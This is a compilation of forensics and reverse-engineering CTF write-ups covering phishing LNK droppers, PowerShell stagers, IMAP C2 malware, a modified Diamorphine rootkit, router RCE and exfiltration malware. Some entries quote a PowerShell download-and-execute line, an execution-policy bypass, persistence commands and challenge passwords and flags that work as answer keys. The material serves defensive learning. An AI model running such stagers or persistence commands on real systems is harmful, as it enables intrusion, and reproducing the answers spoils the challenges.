Difficulty: Easy-Medium

Goal: Investigate a PCAP file to trace a data breach involving brute-force FTP access, data exfiltration, and S3 bucket compromise.

Scenario

Forela recently experienced a serious data breach. Approximately 20 GB of sensitive data were stolen from internal S3 buckets. The breach began with the compromise of an FTP server, which led to further unauthorized access and eventual data exfiltration. You're provided with a PCAP file to analyze and determine what happened.

1. What is the attacker's IP address?

Tool used: NetworkMiner

How: Open the PCAP in NetworkMiner and check the Credentials tab.

Answer:

2. What city is the attacker from?

Tool used: IP2Location / online geolocation services

How: Look up the IP address

Answer: Mumbai

3. Which FTP application was used by the backup server? (Format: Name Version)

Tool used: NetworkMiner

How: In the Parameters tab, identify the FTP client application and version.

Answer:

4. When did the brute force attack start?

Tool used: NetworkMiner

How: Check the Credentials tab for the first FTP login attempts from the attacker IP.

Answer:

5. What are the correct credentials that gave the attacker access? (Format: username:password)

Tool used: NetworkMiner

How: Review the Parameters tab for the successful login session.

Answer:

6. What is the FTP command used to download the remote files?

Tool used: NetworkMiner

How: In the Files tab, look at the commands used in the FTP session.

Answer:

7. What is the password for the backup SSH server?

Tool used: NetworkMiner + file inspection

How: Right-click and open the file from NetworkMiner

Answer:

8. What is the S3 bucket URL for the data archive from 2023?

Tool used: Open the file s3_buckets.txt in NetworkMiner

How: Look for URLs referring to the 2023 archive.

Answer:

9. What is the internal email address used by the attacker in the phishing email?

Tool used: NetworkMiner

How: Again, in s3_buckets.txt, note the email address listed for clearance.

Answer:

Summary

• Initial Entry: FTP brute force

• Attacker IP City: (Mumbai)

• Data Exfiltration: Done via FTP RETR command

• SSH Access: found in plaintext note

• Sensitive S3 URLs & Email: Extracted from s3_buckets.txt

Tools Used:

• NetworkMiner

• Online IP Geolocation tools

I am taking a short break from making write-ups. As always, thanks for reading my stack!

💻 Challenge Background:

Selene's normally secure laptop recently fell victim to a covert attack. A malicious Chrome extension was stealthily installed under the guise of a productivity tool. After noticing unusual network activity, Selene needs to trace the attack, remove the threat, and secure her system.

Our job: analyze the memory dump and recover key pieces of forensic evidence.

📦 Step 1: Initial Analysis

After downloading and extracting the provided file, we identify it as an ELF binary:

file memdump.elf

However, both Volatility and GDB failed to process the dump — likely because this was a Windows memory dump from a WSL (Windows Subsystem for Linux) environment. Binwalk, interestingly, revealed Windows-related content, further hinting at a hybrid memory space.

🔍 Step 2: Switch to Manual Analysis

With automated tools failing, we pivot to manual string analysis:

strings memdump.elf > strings.txt

We perform all analysis from this point forward by searching keywords within strings.txt.

🧩 Answers

1. What is the PID of the Original (First) Google Chrome process:

Search for:

chrome.exe

Look for the first instance of chrome.exe paired with a PID-like pattern.

Example pattern in strings:

chrome.exe --type=...
PID: 3456

2. What is the only Folder on the Desktop:

Search for:

Desktop

Look for a full path such as:

C:\Users\selene\Desktop\MalwareLogs

3. What is the Extension's ID:

Chrome extensions are stored under:

C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Extensions\

Search for this path or look for a 32-character lowercase string (a–p) in the strings.txt:

hlkenndednhfkekhgcdicdfddnkalmdm

4. What is the log filename in which the data is stored:

Search for suspicious filenames in the extension’s strings. You’ll find keylogger-like logs such as:

logX
logY
logZ

The pattern used is consistent, and all logs begin with log.

5. What is the URL the user navigated to:

Found in a keylogger log:

drive.google.comEnter\r\nselene|Shift|@rangers.eldoria.comEnter\r\nclip-mummify-proofs

This shows the user navigating to:

6. What is the password of selene@rangers.eldoria.com:

Same keylog entry shows the password being typed after the email:

clip-mummify-proofs

Typed out character-by-character across multiple lines — classic keylogger dump.

🧠 Final Thoughts

This challenge was unique in that automated tools like Volatility and GDB didn't help. Instead, manual strings analysis saved the day. It’s a great reminder that when tools fail, a trained human eye (and a bit of patience) is often the best tool of all.

🧾 Challenge Prompt

The Royal Archives of Eldoria have recovered a mysterious document—an old resume once belonging to Lord Malakar before his fall from grace. At first glance, it appears to be an ordinary record of his achievements as a noble knight, but hidden within the text are secrets that reveal his descent into darkness.

📁 Step 1: Download and Extract

We begin by downloading and extracting the provided archive. Inside, we find a .eml file, indicating it's an email message—likely from Microsoft Outlook.

📬 Step 2: Analyze the EML File

We throw the file into eml_analyzer, a tool for parsing .eml messages. It reveals a domain and port pointing to a hosted PHP file.

🌐 Step 3: Investigate the Host

Instead of resolving hostnames, we go directly to the IP, port, and path given in the message. Visiting the link in a browser, we begin inspecting for anything suspicious.

📄 Step 4: Hidden in Plain Sight

Clicking “View Full Resume” takes us to a new file path—something like:

/documents/Resume.pdf.lnk

Interesting! This .lnk is a Windows shortcut file. We download it for further inspection.

🔍 Step 5: Inspect the LNK File

Viewing the shortcut's properties, we see a command pointing to PowerShell with a base64-encoded payload.

Initially, decoding didn’t give the full command—likely because changing the file type broke the formatting. So, we redownloaded the .lnk, renamed it to .exe, and opened it in PE Studio to recover the full encoded PowerShell command.

🧪 Step 6: Decoding with CyberChef

Feeding the full base64 command into CyberChef, we uncover the actual PowerShell script. It’s downloading a file named client.py.

🐍 Step 7: Analyzing client.py

We download client.py and inspect the code. The presence of a variable named meterpreter_data is a huge red flag—this is likely a reverse shell client.

🔐 Step 8: Extracting the Flag

Within the script, we spot base64-encoded values. Starting with the key, we decode it:

import base64

key = base64.b64decode("SFRCezRQVF8yOF80bmRfbTFjcjBzMGZ0X3MzNHJjaD0xbjF0MTRsXzRjYzNzISF9Cg==")
print(key.decode())

This gives us:

HTB{FLAG HERE}

🏁 Flag Captured!

Overview

A catastrophic incident occurred in Tales from Eldoria, trapping thousands of players in the game. The cause? A sophisticated attack orchestrated by a mysterious entity named Malakar, who gained control over the developers' and sysadmins' systems. This write-up details the forensic analysis and steps taken to investigate, identify, and respond to the breach.

NOTE: The questions and answers cane be found at No. 6 in this list. No. 1-5 is on analysis techniques.

1. Initial Steps

1. Downloaded and extracted all provided files on an isolated virtual machine.

2. Discovered a .pcap file among the provided artifacts.

3. Loaded the .pcap into NetworkMiner for analysis (chosen over Wireshark for ease of file extraction).

2. Network Forensics via NetworkMiner

• NetworkMiner revealed a large volume of .eml, .zip, and .json files.

• Extracted files were located in AssembledFiles/ under NetworkMiner's directory.

  

  

  3. Artifact Inspection

ZIP File:

• The ZIP file labeled Eldoria was password protected.

• A related HTML file revealed the password.

Suspicious PDF:

• Unzipped file was not a PDF, but an executable disguised with a .pdf extension.

• Opened in PEStudio – confirmed malware.

• Origin IP: 192.168.91.133

4. Malware Analysis

• Identified malware as a .NET executable.

• Decompiled using JetBrains dotPeek.

• Malware (named email.exe) included an IMAP C2 channel.

• Key logic in imap_chanel.Program:

  • Parses .eml drafts

  • Decodes Base64 payloads

  • Decrypts using RC4 with a hardcoded key

  

5. Decoding the Attacker's Commands

Used the following Python script to decode Base64 + RC4 payloads:

# RC4 Decoder
import base64

def rc4(key, data):
S = list(range(256))
j = 0
out = bytearray()
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(byte ^ S[(S[i] + S[j]) % 256])
return bytes(out)

b64_data = """<PASTE_B64_PAYLOAD_HERE>"""
key = bytes([...]) # Hardcoded RC4 key from dotPeek

data = base64.b64decode(b64_data)
decrypted = rc4(key, data)

print(decrypted.decode(errors="ignore"))

6. Questions & Answers

Question 1:

What is the subject of the first email that the victim opened and replied to?

Answer: Found in extracted .eml HTML file found in /AssembledFiles. Please note that these files are dumped when you upload pcap into networkminer.

Question 2:

On what date and time was the suspicious email sent? (Format: YYYY-MM-DD_HH:MM)

Answer: Found in email headers via NetworkMiner. Found again in an html file

Question 3:

What is the MD5 hash of the malware file?

Answer: Uploaded disguised .exe to VirusTotal to obtain hash.

Question 4:

What credentials were used to log into the attacker's mailbox? (Format: username:password)

proplayer@email.com:completed Found in decompiled source code (Program.creds)

Question 5:

What is the name of the task scheduled by the attacker?

Synchronization Found in decoded email: schtasks /create /tn Synchronization …

Question 6:

What is the API key leaked from the highly valuable file discovered by the attacker?

sk-3498fwe09r8fw3f98fw9832fw Found in credentials.txt dumped from the infected host

7. Summary

The attack leveraged:

• Phishing email (.eml) containing a disguised malware executable.

• A stealthy persistence mechanism via scheduled tasks.

• IMAP-based command and control.

By performing detailed network forensics, static malware analysis, and RC4 decoding, we were able to uncover:

• The initial infection vector

• Attacker persistence

• C2 communication

• Leaked credentials and API keys

This investigation reveals the depth of compromise caused by Malakar and how the attacker silently trapped users within the Eldoria ecosystem.

Status: Restored. Game and system integrity can now be recovered.

Challenge Overview

Garrick and Thorin’s visit to Stonehelm took an unexpected turn when Thorin’s old rival, Bron Ironfist, challenged him to a forging contest. Thorin emerged victorious with a beautifully engineered clockwork amulet, but before he could celebrate, saboteurs stole the amulet and left behind digital footprints. Our goal is to analyze the provided evidence, reconstruct what happened, and retrieve the flag!

🔧 Step 1: Download and Set Up the Environment

1. Download the challenge file and start the Docker instance.

1. Once the Docker instance is running, make note of its IP address. We’ll need to add this IP to the hosts file so we can interact with the challenge domain (korp.htb).

🖥️ Step 2: Adding korp.htb to the Hosts File (Windows)

Since the challenge specifies korp.htb, we must manually map this hostname to our Docker instance IP.

Steps to Modify Hosts File:

1. Open Notepad as Administrator:

   • Press Start, search for Notepad.

   • Right-click Notepad → Select Run as administrator.

   • Accept the UAC prompt.

2. Open the hosts file:

   • Click File → Open.

   • Navigate to: C:\Windows\System32\drivers\etc

   • Change file type to All Files (*.*) → Select hosts.

3. Add an entry at the bottom of the file:
   [Docker-IP] korp.htb

   • Replace [Docker-IP] with your actual Docker instance IP.

4. Save & Close Notepad.

✅ Verify

Open Command Prompt and run:

ping korp.htb

If it resolves to the Docker IP, your setup is working!

📜 Step 3: Inspecting the Downloaded File

We find a PowerShell script with an encoded command. Let's decode it!

Decoding the Command

We can use CyberChef to decode the Base64-encoded PowerShell command.

Decoded Command:

IEX (New-Object Net.WebClient).DownloadString("http://korp.htb/update")

This command downloads and executes another PowerShell script from korp.htb/update.

🌐 Step 4: Triggering the Malicious Request

Since the script fetches http://korp.htb/update, we can manually visit this URL in a browser. Ensure you use the correct port!

http://korp.htb:[PORT]/update

What Happens?

This downloads update.ps1.

📄 Step 5: Analyzing update.ps1

Upon inspecting update.ps1, we find another PowerShell command that downloads yet another script (a541a.ps1).

Running the Script:

Powershell window pops up, we can see the flag for a brief second, we will need to modify to keep that window open so we can get the flag.

Modified PowerShell Script:

Invoke-WebRequest -Uri "http://korp.htb:[PORT]/a541a.ps1" -Headers @{"X-HTB-KEY"="5337a3229062ff18afede1dc913d254d"} -Method GET -OutFile a541a.ps1
powershell.exe -NoExit -ExecutionPolicy Bypass -File "a541a.ps1"

Running this Script:

1. Modify the [PORT] value to match your Docker instance.

1. Save the script as fetch_flag.ps1.

2. Run it in PowerShell.

powershell -ExecutionPolicy Bypass -File fetch_flag.ps1

🎯 Step 6: Retrieving the Flag!

Running the final script downloads a541a.ps1, executes it, and reveals the flag in a PowerShell window.

To prevent the window from closing instantly, we added -NoExit to keep it open.

💡 Enjoy your victory! 🏆

🎉 Final Thoughts

This challenge provided hands-on experience with:

• Analyzing encoded PowerShell payloads 🧐

• Decoding Base64 commands 🔎

• Bypassing execution policies 🔥

• Modifying PowerShell scripts to include necessary headers 🎯

• Investigating malicious web requests 🌐

Great job on reclaiming Thorin’s Amulet! 🏅

Introduction

Malicious actors have infiltrated our systems and implanted a custom rootkit. Our goal is to disarm the rootkit, remove it, and retrieve the hidden data. Below is a step-by-step analysis and exploitation process.

Step 1: Unzip and Analyze the File

1. Extract the challenge folder:
   unzip challenge.zip -d challenge

2. Load the file into Detect It Easy (DIE) to analyze its type.

3. Identify the file as an ELF binary, which is typical for Linux kernel modules.

Step 2: Reverse Engineer the Binary

1. Load the file into Binary Ninja for further analysis.

2. Identify the file as Diamorphine, a well-known Linux rootkit.

3. Conduct a quick Google search, leading to its GitHub repository: https://github.com/m0nad/Diamorphine

Step 3: Understanding Rootkit Behavior

Observations from the README (Uninstall Instructions)

• The module starts hidden.

• To make it visible, we need to use:
  kill -63 0

• Once visible, we can remove it with:
  rmmod diamorphine

Step 4: Attempting to Remove the Rootkit

1. Connect to the system using Netcat:
   nc -nv <target-ip> <port>

2. Attempt kill -63 0 to make the module visible.

3. System crashes (Kernel Panic) - indicating a potential modification of the original Diamorphine code.

Step 5: Finding the Modified Kill Switch

1. Return to Binary Ninja and search for cmp instructions in hacked_kill().

1. Notice multiple cmp instructions:

   • cmp eax, 0x3F (Original kill -63 for visibility toggle)

   • cmp eax, 0x40 (Modified code, corresponds to kill -64 for root access)

   • cmp eax, 0x2E (New visibility toggle, corresponds to kill -46)

1. Testing kill -64 0 gives root access, confirming the attacker modified the rootkit to require a different code.

Step 6: Removing the Rootkit

1. Gain root access:
   kill -64 0
   whoami # Should return "root"

2. Make the rootkit visible:
   kill -46 0

3. Remove the rootkit:
   rmmod diamorphine

4. Confirm its removal:
   lsmod | grep diamorphine # Should return nothing

Step 7: Finding the Hidden Data

Since this is a Hack The Box (HTB) challenge, the flag is likely stored in a .txt file.

1. Search the system for .txt files:
   find / -type f -name "*.txt" 2>/dev/null

2. Retrieve the flag:
   cat /path/to/flag.txt

Conclusion

By reverse-engineering the modified Diamorphine rootkit, we:

• Discovered the attacker modified the kill switch to kill -64 (original was kill -63).

• Identified the new visibility toggle as kill -46 (original was kill -63).

• Successfully removed the rootkit after making it visible.

• Recovered the hidden flag from a .txt file.

This challenge demonstrated the importance of understanding malware modifications and how attackers may tweak known exploits to evade detection.

Challenge Description

After struggling to secure our secret strings, we finally came up with a way to make decompilation harder. Our goal was to make it impossible to figure out how the program works!

Steps to Analyze the Binary

1. Extract the provided zip folder.

2. Load the binary into Detect-It-Easy.

3. Identify the binary as an ELF 64-bit executable compiled with GCC (9.3.0).

4. Confirm that the code is written in C/C++.

5. Load the binary into Binary Ninja for analysis.

While the solution is relatively easy to find, we will break down the technical aspects to better understand the challenge.

Breaking Down the Challenge

This challenge involved reverse engineering, signal handling, and anti-debugging techniques. Let’s go step by step to analyze the solution.

Step 1: Understanding the Binary

Since we only have the compiled binary (behindthescenes), we used Binary Ninja to reverse engineer it.

Key Findings:

• A function named segill_sigaction, acting as a signal handler.

• A string in .rodata that hinted at a password check:
  ./challenge <password>

• A UD2 instruction in .rodata, which is an illegal instruction that triggers a SIGILL (Illegal Instruction Exception).

Step 2: Identifying Key Functions

By analyzing the binary, we identified two important functions:

1. SIGILL Handler (segill_sigaction)

• Registered to handle SIGILL (Illegal Instruction signals).

• Modifies the execution context, potentially bypassing crashes.

2. Main Function (main)

• Registers segill_sigaction as the SIGILL handler.

• Triggers a SIGABRT (trap 6), which would usually crash the program.

Step 3: Finding the Password Check

Within .rodata, we discovered a string that looked like a password:

Itz_0nLy_UD2

Additionally, we found:

HTB{%s}

This suggests that once the correct password is entered, the program will print a flag.

Step 4: Understanding the Role of UD2

• UD2 is an x86 instruction that forces a crash by triggering SIGILL.

• Normally, an illegal instruction would terminate execution, but since a custom SIGILL handler exists, we suspected:

  • The program intentionally executes UD2.

  • The handler modifies execution to prevent a crash.

  • This serves as an anti-debugging technique or a way to manipulate execution flow.

Step 5: Running the Program with the Password

With an understanding of the execution flow, we tested the suspected password:

./behindthescenes Itz_0nLy_UD2

It worked! The program printed the HTB flag, confirming that our password was correct.

Key Takeaways

Concept

Explanation

.rodata Section

Stores strings used in the program, including the password.

Signal Handling

The program uses sigaction(4, &handler, NULL) to catch SIGILL.

UD2 Instruction

Triggers a SIGILL exception, which the handler catches.

Execution Hijacking

The signal handler modifies program execution to prevent crashing.

Reverse Engineering

Instead of brute-forcing, we extracted the password from .rodata.

Final Thoughts

• The program hides the password behind an anti-debugging trick (SIGILL).

• Understanding signal handling helped us recognize the role of UD2.

• Instead of guessing, we extracted the password from .rodata.

This challenge was a great mix of reverse engineering, anti-debugging, and execution manipulation.

Technical Analysis: Key Insights from the Disassembled Binary

This section provides a breakdown of the most relevant parts of the objdump -d output, focusing on the execution flow, anti-debugging techniques, password validation, and signal handling mechanisms.

1. SIGILL Handler (segill_sigaction)

The segill_sigaction function is responsible for handling SIGILL (Illegal Instruction) signals. Normally, an illegal instruction like UD2 would cause the program to crash, but here, a custom handler modifies execution instead.

0000000000001229 <segill_sigaction>:
1229: f3 0f 1e fa endbr64
122d: 55 push %rbp
122e: 48 89 e5 mov %rsp,%rbp
1231: 89 7d ec mov %edi,-0x14(%rbp)
1234: 48 89 75 e0 mov %rsi,-0x20(%rbp)
1238: 48 89 55 d8 mov %rdx,-0x28(%rbp)
124c: 48 8b 80 a8 00 00 00 mov 0xa8(%rax),%rax
124f: 48 8d 50 02 lea 0x2(%rax),%rdx
1257: 48 89 90 a8 00 00 00 mov %rdx,0xa8(%rax)
1260: c3 ret

What This Does:

• Registers segill_sigaction as the SIGILL handler.

• Retrieves the execution context and modifies it to bypass crashes.

• Likely an anti-debugging mechanism, forcing an illegal instruction (UD2) and catching it to alter execution.

2. Registering the SIGILL Handler in main

The main function registers segill_sigaction to handle SIGILL signals.

00000000000012a5 <main>:
12a5: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
12ac: 48 83 c0 08 add $0x8,%rax
12b3: e8 78 fe ff ff call 1130 <sigemptyset@plt>
12b8: 48 8d 05 6a ff ff ff lea -0x96(%rip),%rax # 1229 <segill_sigaction>
12bf: 48 89 85 60 ff ff ff mov %rax,-0xa0(%rbp)
12c6: c7 45 e8 04 00 00 00 movl $0x4,-0x18(%rbp) # Signal 4 (SIGILL)
12e1: e8 fa fd ff ff call 10e0 <sigaction@plt>

What This Does:

• Calls sigaction(4, &handler, NULL), registering segill_sigaction for SIGILL signals.

• Ensures that when UD2 (Illegal Instruction) is executed, the program does not crash but instead modifies execution flow.

3. Anti-Debugging via UD2

The UD2 instruction is an illegal x86 instruction that forces a SIGILL exception, commonly used as an anti-debugging measure.

12e6: 0f 0b ud2
12f1: 0f 0b ud2
130b: 0f 0b ud2

What This Does:

• UD2 is executed multiple times throughout the code.

• Normally, this would terminate the program.

• Since segill_sigaction is registered as the SIGILL handler, execution continues instead of crashing.

4. Password Validation Mechanism

The program checks if the input matches "Itz_0nLy_UD2". This is done in multiple steps.

Checking Argument Count

12e8: 83 bd 5c ff ff ff 02 cmpl $0x2,-0xa4(%rbp) # argc == 2?
12ef: 74 1a je 130b <main+0xaa> # Jump if valid

• Ensures the user provides exactly one argument.

Checking Length of Argument

131e: e8 cd fd ff ff call 10f0 <strlen@plt>
1323: 48 83 f8 0c cmp $0xc,%rax # Password length must be 12
1327: 0f 85 05 01 00 00 jne 1432 <main+0x1d1>

• Ensures the password length is exactly 12 characters.

Comparing the Password String

The program checks if the input argument matches "Itz_0nLy_UD2", piece by piece.

1342: 48 8d 35 d2 0c 00 00 lea 0xcd2(%rip),%rsi # Load "Itz"
134c: e8 6f fd ff ff call 10c0 <strncmp@plt> # strncmp(argv[1], "Itz", 3)
1372: 48 8d 35 a6 0c 00 00 lea 0xca6(%rip),%rsi # Load "_0n"
13a2: 48 8d 35 7a 0c 00 00 lea 0xc7a(%rip),%rsi # Load "Ly_"
13ce: 48 8d 35 52 0c 00 00 lea 0xc52(%rip),%rsi # Load "UD2"

• Compares each three-character segment separately.

5. Printing the Flag

If the password is correct, the program prints the flag in the format:

HTB{Itz_0nLy_UD2}

13f4: 48 8d 3d 30 0c 00 00 lea 0xc30(%rip),%rdi # Load format string "> HTB{%s}\n"
1400: e8 0b fd ff ff call 1110 <printf@plt> # Print the flag

What This Does:

• Loads the flag format string "> HTB{%s}\n" into %rdi.

• Calls printf, substituting the user’s password into the flag format.

Conclusion & Key Takeaways

Concept

Explanation

Anti-Debugging (UD2)

The UD2 instruction triggers SIGILL, but a custom handler prevents the crash.

Signal Handling

sigaction(4, &handler, NULL) catches SIGILL, allowing the program to continue execution.

Password Extraction

Instead of brute-forcing, the password "Itz_0nLy_UD2" was extracted from .rodata.

Reverse Engineering

By analyzing objdump, we reconstructed how the binary works without executing it.

Final Thoughts

• The program disguises a simple password check behind an anti-debugging trick.

• By modifying execution via SIGILL handling, the program prevents straightforward analysis.

• However, analyzing .rodata and objdump allowed us to recover the password without brute force.

This was a great example of how signal handling, execution hijacking, and anti-debugging tricks can be used in real-world reverse engineering challenges!

This write-up details the process of reverse engineering a binary to extract the required passwords for a challenge. Using Binary Ninja, Ghidra, and Python, we analyzed the exam() function and the xor() function to uncover the three required passwords.

Examining the exam() Function

The exam() function follows a sequence of password validation steps:

1. First Password Check:

   • The program reads input and compares it to a hardcoded string:
     if (strcmp(rax, "PasswordNumeroUno") != 0)

   • If the input does not match PasswordNumeroUno, the program exits.

2. Second Password Check:

   • The binary stores a reversed version of the second password in memory:
     reverse(&var_1c, "0wTdr0wss4P", 0xb);

   • Reversing this string gives "P4sswordTw0".

   • If the input does not match this, the program exits.

3. Third Password Check:

   • This step involves an XOR operation:
     __builtin_memset(&s, c: 0, n: 0x11);
     xor(&s, &t2, 0x11, 0x13);

   • The xor() function transforms t2 (a 12-byte string) into a 17-byte value using the XOR key 0x13.

   • The transformed value is compared against user input.

   • If the input does not match, the program exits.

Understanding XOR and Memory Impact

How XOR Works

XOR (exclusive OR) is a bitwise operation that follows these rules:

• 0 ⊕ 0 = 0

• 1 ⊕ 0 = 1

• 0 ⊕ 1 = 1

• 1 ⊕ 1 = 0

This means XORing the same value twice will return the original value:

original = ord('A') # ASCII 65
key = 0x13
encoded = original ^ key # Encrypt
decoded = encoded ^ key # Decrypt
print(chr(decoded)) # Output: 'A'

In our binary, each byte is XORed with 0x13, which scrambles and later reconstructs the password.

Memory Impact

The binary initializes s with 17 bytes set to zero before XORing with t2:

__builtin_memset(&s, c: 0, n: 0x11);

Since t2 only has 12 bytes, the remaining bytes are pulled from memory beyond t2, potentially containing leftover data.

Reverse Engineering the xor() Function

The xor() function is structured as follows:

while (result_1 < arg3) {
*(arg1 + result_1) = *(arg2 + result_1) ^ arg4;
result_1 += 1;
}

• It loops for 17 bytes, XORing each byte from t2 with 0x13.

• Since t2 is 12 bytes long, the remaining 5 bytes are read from adjacent memory.

• We dumped this memory section and found the extra bytes: \x7f222\x13.

Extracting t2 and Decoding the Final Password

From Binary Ninja, we extracted t2:

G{zawR}wUz}r

and the additional 5 bytes:

\x7f222\x13

Using Python, we decoded the password by XORing each byte with 0x13:

data = b"G{zawR}wUz}r\x7f222\x13"
xor_key = 0x13

decoded = bytes([b ^ xor_key for b in data])
print(decoded.decode())

This resulted in:

ThirdAndFinal!!!

Thus, the final password is ThirdAndFinal!!!.

Conclusion

By disassembling the binary, analyzing memory, and applying XOR decoding, we successfully extracted all three passwords required for the challenge:

1. PasswordNumeroUno

2. P4sswordTw0

3. ThirdAndFinal!!!

This process showcased key reverse engineering techniques, including static analysis, memory inspection, and binary manipulation.

Scenario:

The SOC team has identified suspicious lateral movement targeting router firmware from within the network. Anomalous traffic patterns and command execution have been detected on the router, indicating that an attacker already inside the network has gained unauthorized access and is attempting further exploitation. You will be given network traffic logs from one of the impacted machines. Your task is to conduct a thorough investigation to unravel the attacker's Techniques, Tactics, and Procedures (TTPs).

1. From what IP address did the attacker initially launch their activity?

Load the pcap into NetworkMiner. By checking credentials and host activity, we see that only one host accessed the router.

2. What is the model name of the compromised router?

This requires pivoting into Wireshark. Filter by ip.addr == 192.168.10.1, right-click a packet, and follow the TCP stream. In the router's webpage script, the model name is revealed.

3. How many failed login attempts did the attacker try before successfully logging into the router?

Filter in Wireshark using ip.src, ip.dst, and http.request.method POST. Inspect each TCP stream to count the failed attempts until the successful login.

4. At what UTC time did the attacker successfully log into the router's web admin interface?

From the packet identified in question 3, note the timestamp and convert it to UTC.

5. How many characters long was the password used to log in successfully?

This is a trick question. Inspecting TCP streams reveals that no password was entered in the log_pass variable of the POST htm_response_page.

6. What is the current firmware version installed on the compromised router?

Check the AssembledFiles folder in NetworkMiner, specifically adm_status.asp.html. Alternatively, inspect GET requests in Wireshark for adm_status.asp.

7. Which HTTP parameter was manipulated by the attacker to get remote code execution on the system?

Inspect packet traffic streams in Wireshark to identify the manipulated HTTP parameter.

8. What is the CVE number associated with the vulnerability that was exploited in this attack?

Google RCE vulnerabilities for the router model TEW-827DRU.

9. What was the first command the attacker executed by exploiting the vulnerability?

Inspect the POST traffic in Wireshark.

10. What command did the actor use to initiate the download of a reverse shell to the router from a host outside the network?

Again, inspect the POST traffic for the relevant command.

11. Multiple attempts to download the reverse shell from an external IP failed. When the actor made a typo in the injection, what response message did the server return?

Follow the TCP streams of the POST requests to find the response message from the server when the attacker made a typo.

13. What was the IP address and port number of the command and control (C2) server when the actor's reverse shell eventually did connect? (IP:Port)

Open the .sh script in a text editor from the exported objects in Wireshark. The C2 IP and port are found in the script.

Scenario

Our organization failed to prioritize robust security measures, resulting in a cyber attack that compromised both internal systems and customer data. The attack's origin and methods are unclear, and multiple suspicious emails have been detected. As a forensic investigator, your role is to analyze the evidence and uncover key details of the attack.

1. What is the IP address of the infected web server?

After extracting the contents of aptnightmare.zip, we find multiple files, including KAPE output data. Running the EZParser module on the target output allows us to parse forensic artifacts:

kape.exe --msource "C:\Users\username\Desktop\APTN1ghtm4r3\DiskImage" --module !EZParser --mdest "C:\Users\username\Desktop\KOUT\"

To quickly identify the infected web server, NetworkMiner is used for packet analysis.

2. What is the IP address of the Attacker?

Using Wireshark, we analyze http.request logs to identify external connections. By examining command injection attempts, we determine the attacker's IP address.

3. How many open ports were discovered by the attacker?

NetworkMiner initially shows 15 open ports, but verification using Wireshark is needed. Filtering with:

ip.src == 192.168.1.3 && ip.dst == 192.168.1.5 && tcp.port == 5555

reveals RST/ACK packets indicating some ports were actually closed. A detailed analysis is conducted to count only truly open ports.

4. What are the first five ports identified by the attacker in numerical order?

By filtering Wireshark for SYN-ACK responses and checking timestamps, we list the first five open ports.

5. What misconfiguration allowed subdomain enumeration?

DNS zone transfers (AXFR) can expose subdomains. Filtering for AXFR traffic in Wireshark confirms the misconfiguration.

6. How many subdomains were discovered by the attacker?

Examining the AXFR packet’s answer section reveals the number of subdomains.

7. What is the compromised subdomain?

Filtering for HTTP responses returning 200 OK status codes helps identify the targeted subdomain.

8. What email address and password were used to log in?

Credentials can be extracted from NetworkMiner's parsed data, particularly within the HTTP and SMTP traffic logs.

9. What command granted the attacker initial access?

Wireshark’s HTTP POST request analysis reveals the exploit used for the initial breach.

10. What is the CVE identifier for the exploited privilege escalation vulnerability?

By searching the logs for PwnKit, we find its associated CVE identifier online.

11. What MITRE ATT&CK technique ID was used for persistence?

Analyzing port 5555’s traffic stream in Wireshark shows crontab usage for persistence, mapped to T1053.003.

12. What MITRE ATT&CK technique ID corresponds to the tampering on the 'download' subdomain?

Following the TCP stream for port 5555 shows software tampering, linked to T1195.002 (Compromise Software Supply Chain).

13. What command provided persistence in the cs-linux.deb file?

Extracting and analyzing cs-linux.deb with Midnight Commander (mc) reveals an obfuscated script. Using CyberChef, we decode Base64 and Zlib compression to reveal the persistence command.

14. What process allowed the attacker to send phishing emails?

Using strings and grep on the memory dump helps identify a mail server process.

15. What is the phishing email’s subject?

Running strings and searching for "Subject:" extracts the email subject line.

16. What is the name of the malicious attachment?

Using strings and grep for "attachment:" provides the malicious file name.

17. Who are the CEOs that received the attachment?

Filtering for "To:" and "From:" fields in extracted emails helps identify recipients.

18. What is the hostname of the compromised CEO's device?

NetworkMiner or Wireshark can reveal hostnames. Additional analysis of ConsoleLog files provides confirmation.

19. What is the full path for the malicious attachment?

Using Timeline Explorer on KAPE’s MFT_Output.csv, we search for the attachment name to retrieve its full path.

20. What command was used to gain initial access?

Searching Timeline Explorer for powershell.exe or cmd.exe reveals the executed command granting access.

21. What is the threat label for the malicious executable used for initial access?

Exporting the malicious file from Wireshark (File > Export Object > HTTP) and analyzing it reveals an obfuscated PowerShell script. Decoding it shows behavior linked to Cobalt Strike Beacon.

22. What is the payload type?

Using the hint and running the downloaded exe against a threat detection tool confirms the payload type.

23. What task name was added by the attacker?

Checking C:\Windows\System32\Tasks uncovers the malicious scheduled task name.

Conclusion

This forensic investigation uncovers the attacker’s footprint, from initial access via phishing to persistence through scheduled tasks and privilege escalation via PwnKit. NetworkMiner, Wireshark, Timeline Explorer, and CyberChef were key in uncovering evidence and answering critical questions about the attack.

Scenario:

Janice from accounting was informed by the SOC that her work credentials were discovered on the dark web by the threat intelligence team. Files recovered from her machine were analyzed to understand the situation better.

Questions and Answers:

1. What is the SHA-256 hash of this malware binary?

• Solution: Load the binary into VirusTotal to obtain its SHA-256 hash.

2. What programming language (and version) is this malware written in?

• Approach: VirusTotal may give initial hints about the programming language but does not provide a definitive answer. Load the binary into Detect-It-Easy (DIE) and search strings for "Go" to identify that it was written in Golang. Look for the version in the embedded metadata.

3. There are multiple GitHub repos referenced in the static strings. Which GitHub repo would most likely suggest the ability of this malware to exfiltrate data?

• Solution: Use Detect-It-Easy to extract strings and search for "github." Analyze the references and identify the repository linked to data exfiltration capabilities.

4. What dependency, expressed as a GitHub repo, supports Janice’s assertion that she thought she downloaded something that can just take screenshots?

• Solution: Similar to Question 3, extract strings and search for "github." Identify the repository that aligns with screenshot functionality.

5. Which function call suggests that the malware produces a file after execution?

• Solution: Use Detect-It-Easy to search for the term "file" in the strings. Examine the context and identify the function responsible for writing to a file.

6. You observe that the malware is exfiltrating data over FTP. What is the domain it is exfiltrating data to?

• Approach:

  1. Identify the binary as a Golang binary.

  2. Install the GoReSym plugin for Binary Ninja to better analyze Golang binaries.

  3. Generate the necessary .json file using the command:
     GoReSym.exe -t -d -p Loggy.exe > Loggy.json

  4. Load the binary into Binary Ninja, apply the GoReSym Info, and locate the main.SendFilesViaFTP function. Identify the FTP domain used for exfiltration.

7. What are the threat actor’s credentials?

